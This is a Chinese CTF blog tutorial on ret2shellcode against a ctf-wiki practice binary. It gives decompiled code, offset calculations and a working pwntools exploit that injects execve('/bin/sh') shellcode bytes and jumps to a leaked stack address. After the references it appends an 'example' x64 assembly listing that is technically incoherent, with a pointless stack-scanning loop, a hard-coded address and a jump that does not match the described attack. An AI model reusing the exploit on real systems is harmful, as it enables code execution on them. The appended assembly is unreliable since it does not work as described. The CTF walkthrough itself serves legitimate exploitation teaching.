栈溢出入门0x02 ret2shellcode

前言:

在上一篇博客中我们实现了ret2text。这是非常理想的环境,没有任何保护措施,甚至还有一个后门函数。但是这种好事可不会一直发生,如果没有后门函数怎么办?

这次的目标是get shell。

例题:

为了保证大家在实验的时候有相同的效果,我们统一使用https://github.com/ctf-wiki/ctf-challenges中的里边ctf-challenges-master\pwn\stackoverflow\ret2shellcode\sniperoj-pwn100-shellcode-x86-64文件夹中的shellcode可执行文件。

分析:

IDA反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 64uLL);
  return 0;
}

然后checksec:

                                                                        图1

开了PIE保护,但是NX保护没开,如果能绕过PIE就可以ret2shellcode。

分析源码发现,buf到rbp的空间为0x10,而read的大小为0x40,明显存在溢出,因此我们能够使用read来进行栈溢出,偏移量为0x10+8=24。
其次发现代码中已经动态的输出了buf的地址,因此随机化地址便可以进行绕过。

计算允许的shellcode长度

只读取了0x40字节,所以我们的payload最大就是0x40字节。

0x40-(0x10+8)- 8 = 32位,(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度。因此构建的shellcode必须在32位以内。

之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有32字节,因此并不适用,
需要我们到

https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/

查询构造相应的shellcode。

我们打算将shellcode放到一个相对于buf的位置,注意由于buf到ebp只有0x10,但是我们找到的shellcode有0x17字节,所以shellcode必须放到return address后边。如果shellcode放到buf里,shellcode里的一部分就会覆盖到return address,导致segment fault。所以payload 布局就是:

payload = padding+ shellcode相对于buf的位置+shellcode

exp:

from pwn import *

code = ELF('./shellcode')
sh = process('./shellcode')

# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil(b'[')
buf_addr = sh.recvuntil(b']', drop=True)#获得输出的buf地址
buf_addr = int(buf_addr, 16)
payload = b'b' * 24 + p64(buf_addr + 32) + shellcode_x64
print(payload)
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

结果:

                                                                图2

参考文献:

sniperoj-pwn100-shellcode-x86-64(writeup)-CSDN博客

在64位的ret2shellcode攻击中,需要使用RIP来控制程序的执行流程,而不是使用EIP。因此,需要在shellcode中构造64位的地址来覆盖RIP寄存器。 一般来说,ret2shellcode需要满足以下条件: 1. 执行栈溢出,覆盖返回地址的同时,还要在溢出数据中注入shellcode。 2. 执行栈溢出时需要找到距离返回地址的偏移量。 3. shellcode需要在堆栈中执行。 下面是一份64位ret2shellcode的示例代码: ```assembly section .text global _start _start: ; 执行栈溢出,将shellcode注入到栈中。 ; 使用msfvenom生成一段简单的execve("/bin/sh")代码 ; msfvenom -a x64 --platform linux -p linux/x64/exec CMD=/bin/sh -f c ; 将生成的shellcode粘贴到这里。 xor esi, esi mov eax, esi ; 将堆栈指针rsp保存到rbx中 mov rbx, rsp next: ; 在栈中查找返回地址的偏移量 ; 这里的偏移量为40,实际上需要根据目标二进制文件的不同而调整 cmp byte [rsp], 0 jne next add rsp, 40 ; 用shellcode的地址覆盖返回地址 ; 这里的地址也需要根据目标二进制文件的不同而调整 mov QWORD [rsp], 0x7fffffffde10 ; 跳转到shellcode的地址,开始执行 jmp rbx ``` 在这个示例中,我们将用msfvenom生成一个简单的execve("/bin/sh")的shellcode,该shellcode将在栈上执行。然后,我们将查询堆栈来计算返回地址距离堆栈指针的偏移量,并手动向该返回地址写入shell代码的地址。最后,我们将跳转回堆栈指针的位置,开始执行我们的shellcode。 需要注意的是,在实际攻击中,偏移量和地址值可能因目标程序的不同而有所变化。因此,需要针对目标程序进行适当的调整。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值